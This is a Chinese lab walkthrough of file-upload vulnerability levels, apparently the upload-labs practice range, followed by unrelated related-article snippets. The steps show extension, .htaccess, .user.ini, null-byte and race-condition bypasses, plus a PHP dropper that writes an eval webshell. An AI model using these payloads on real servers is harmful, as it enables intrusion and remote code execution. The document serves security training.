文件上传漏洞详解

devtools/2024/11/20 13:27:01/

第一关

步骤一,打开第一关先点击浏览上传一个jpg格式的图片

8588e3ee6fa4425cbd4b15ac1bb19779.png

c45ff1d0f4e94c7cb8aad8bf660b30d1.png

步骤二,打开BP修改jpg为php然后放包

398fa26806094f8596f68af2c6901665.png

d461d21801314095ac6cb7a596dbc184.png

步骤三,右键打开图像

成功解析

b4e62cd90c9946798dfc1032e4e539ac.png

步骤四,打开蚁剑

bf842213d6a648fea46e87f34352cde8.png

48f2c3dd301e4958a553e66ea882c0d1.png

第一关还是蛮简单的

第二关

步骤一,打开第二关先点击浏览上传一个jpg格式的图片

12d596b7f00f415a8fe8d321091bcc5a.png

步骤二,打开BP修改jpg为php然后放包

步骤三,右键打开图像

步骤四,打开蚁剑

一二关步骤一样...

第三关

步骤一,我们尝试看看能不能上传1.php

我们获得提示:不允许上传.asp,.aspx,.php,.jsp后缀文件!

6294ba9b7efa4f86b91c06e7fc002bc7.png

步骤二,我们尝试改一下文件名称后面加个数字1.php5

dc73fe39fb2d402db14065eed5c1c4d9.png

步骤三,右键打开图像

成功解析

fde99ca08b7446d1a90c000cfb491937.png

第四关

环境不行得需要在fofa找一个靶场

编写.htaccess文件,内容解释:将1.jpg文件解析成php文件
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php

</FilesMatch>

步骤一,上传.htaccess文件

3aebd7460b4b4599af14301a919458d3.png

步骤二,在上传一个1.jpg

dfa2782ac2be42789ef1344ede52b6d5.png

步骤三,右键打开图像

成功解析

be68177b6dbb44f7905f04bfd8ce68ab.png

第五关

文件包含操作
auto_prepend_file ="x.jpg"表示加载第一个PHP代码之前执行指示(包含的)文件

步骤一,上传.htaccess文件.user.ini文件内容

134d453b5f6c43fdbc7227e7123aaebd.png

步骤二,在上传一个1.jpg

a459ccd4174f40b8adddeb34bbbda697.png

步骤三,访问readme.php文件

eaf4299859b040b6bb8899cd164f960f.png

第六关

步骤一,使用大小写绕过

af2d1e481c474b59ab3c408548f42f27.png

步骤二,右键打开图像

成功解析

791a92351c0644278ff7c7fa2b77974a.png

第七关

步骤一,打开BP1.php后面加个空格

65c1531fd928424bbedeb40e439d8453.png

fd958450d1b94894a7589070e8d3f401.png

步骤二,右键打开图像

成功解析

8445dc7b7a414ca3b6855707d438a8ae.png

第八关

步骤一,打开BP在文件名称后面加个'.'

78c4625b688c4fdf8b42da7cb849ef1b.png

步骤二,右键打开图像

成功解析

6e324f9ddce24a76aa4edc53946ab62b.png

第九关

步骤一,打开BP在文件名称后面加个'::$DATA'

c11248642eed4ad682bcfe669017f7df.png

e5dbf70468a442d0a70d78d5af0b963e.png

步骤二,右键打开图像

成功解析

2d08ab9d59df4005894a4c92973952a0.png

第十关

步骤一,打开BPphp后面加上'. .'

2eebba402ce44d52adac9bfe876ae149.png

f8706f5761c94436a73ecb6e34424c81.png

步骤二,右键打开图像

成功解析

c1dc966918d0409dbb1ecf9afbecd606.png

第十一关

双写后缀名绕过

步骤一,点击浏览上传php文件

62536c8aab0e42b292e62622be3594fc.png

步骤二,右键打开图像

成功解析

66df2f36c43145be88f2b72caf76aaf6.png

第十二关

步骤一,打开BP

在第一行添加xxx.php%00

把php改为jpg

3df32e2d4f104a85ba6719db953a68c1.png

步骤二,右键打开图像

删掉php后面的东西

0ffddff2584f4a84b46f6afe6f30511c.png

成功解析

fe2e68cff4534315a3d971c652189e41.png

第十三关

这段代码同样是⽩名单限制后缀名,$_POST['save_path']是接收客户端提交的值,客户端可任意修改。所以会产⽣安全漏洞;
POST 下直接注⼊%00 是不⾏的,需要把%00 解码变成空⽩符,截断才有效。才能把⽬录截断成⽂件名;

步骤一,打开BP

添加xxx.php (空格)

把php改为jpg

c9b7ca5d289048d59b854ac6727be790.jpeg

将%00的hex码更改为00,然后上传

8ecfb678d2d048ef89b08e76b556396a.png

步骤二,右键打开图像

删掉php后面的东西

c7446ee882d240bb8d1e0c8bcb30894b.png

成功解析

03f5a0889c6841c3ba5d45986d4e67a9.png

第十四关

⽂件头代表了⽂件是那种类型,我们上传的⽂件内容如果是只有php代码,那么程序在对我们的⽂件头部进⾏检查时,如果发现没有允许上传⽂件类型的⽂件头,就会对我们上传⽂件进⾏拦截。

步骤一,制作图⽚⼀句话,使⽤copy a.jpg/b+1.php/a shell.jpg将 php ⽂件附加在 jpg 图⽚上,直接上传即可;
/b代表以⼆进制编码打开⽂件,/a代表以ASCII码编码打开⽂件

步骤二,上传shell.jpg,图片右键新建标签页打开图片,打开文件包含漏洞,用file读取图片地址

第十五关

步骤一,上传shell.jpg,图片右键新建标签页打开图片,打开文件包含漏洞,用file读取图片地址

第十六关

环境不支持

第十七关

步骤一:我们找到php ⽬录 执⾏ php 1.php 就会给我们⽣成⼀个1.png⽂件

步骤二,图片需要二次渲染,上传图片,图片右键新建标签页打开图片,打开文件包含漏洞,用file读取图片地址

步骤三,复制地址去蚁剑连接

第十八关

步骤一,php文件输入<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST["cmd"])?>');?>

步骤二,上传文件,burp抓包,发送到 intruder 模块,设置⽆限发送空的payloads,无限重复;

步骤三,访问1.php抓包,发送到 intruder 模块,设置⽆限发送空的payloads,无限重复;

步骤四,同时攻击,直到出现webshell.php

步骤五,使用蚁剑连接

第二十关

步骤一,上传php文件,保存名称改为1.php/.

步骤二,图片右键新建标签页打开图片


http://www.ppmy.cn/devtools/104707.html

相关文章

问:final关键字在JAVA中有哪些用法?

final关键字的问题在面试中很常见&#xff0c;深入理解其背后的机制确实能提升对Java语言特性的掌握程度。下面&#xff0c;代码示例来说明final的用法。 1. 被final修饰的类不可以被继承 final class FinalClass {// 类内容 }// 错误示例&#xff1a;尝试继承FinalClass // …

C语言基础(三十一)

1、线性搜索&#xff1a; #include "date.h" #include <stdio.h> #include <stdlib.h> #include <time.h> // 希尔排序 void shellSort(int arr[], int n) { for (int gap n / 2; gap > 0; gap / 2) { for (int i gap; i < n; i…

Redis基础知识学习笔记(二)

文章目录 一.Redis安装1.Windows 下安装1>资源管理器目录进入2>目录进入命令:3.配置环境变量 2.Linux 下安装1> 安装redis2> 启动redis3> 查看 redis 是否启动 二.Redis配置1. 查看配置2. 编辑配置3. 参数说明 三.Redis数据类型1. String&#xff08;字符串&…

C#学习笔记(一)了解C#

博主刚开始接触C#&#xff0c;本系列为学习记录&#xff0c;如有错误欢迎各位大佬指正&#xff01;期待互相交流&#xff01; 文章目录 一、C#语言介绍1.1 C#注释方法1.2 标准格式 二、字符串相关2.1 Console.WriteLine输出2.1.1 输出字符串2.1.2 字符串内插 2.2 获取字符串长度…

【C++】list的使用和list的模拟实现和迭代器失效问题

目录 一、list 的简单介绍 二、list 的基本使用 &#x1f389;list的构造 &#x1f389;list iterator 的使用 &#x1f389;list capacity &#x1f389;list element access &#x1f389;list modifiers &#x1f389;list operator 三、list 的模拟实现 &#x…

使用session实现单用户多端登录限制

基本流程&#xff1a; 首先获得当前浏览器访问服务器的session&#xff0c;然后根据用户的信息&#xff08;如id等&#xff09;在redis中查找&#xff0c;如果找到&#xff0c;并且和查找对应的session不同&#xff0c;则可以判断已经有其他设备登录过了&#xff0c;这个时候就…

CohereForAI更新企业级开源模型 c4ai-command-r-08-2024和c4ai-command-r-plus-08-2024

C4AI Command R 08-2024 是一个 350 亿参数高性能生成模型的研究版本。 Command R 08-2024 是一个大型语言模型&#xff0c;采用开放式权重&#xff0c;针对推理、总结和问题解答等各种用例进行了优化。 Command R 08-2024 具备多语言生成功能&#xff0c;曾在 23 种语言上进行…

编译可执行命令的FFmpeg

上一篇讲到了使用FFmpeg生成视频封面图&#xff0c;其实也可以直接使用FFmpeg相关命令截取一帧的图像数据保存到本地&#xff0c;然后加载到ImageView上&#xff0c;有时候使用命令确实比写代码更加简单和使人轻松一点&#xff0c;所以这一篇是讲解如何导入FFmpeg相关源码 然后…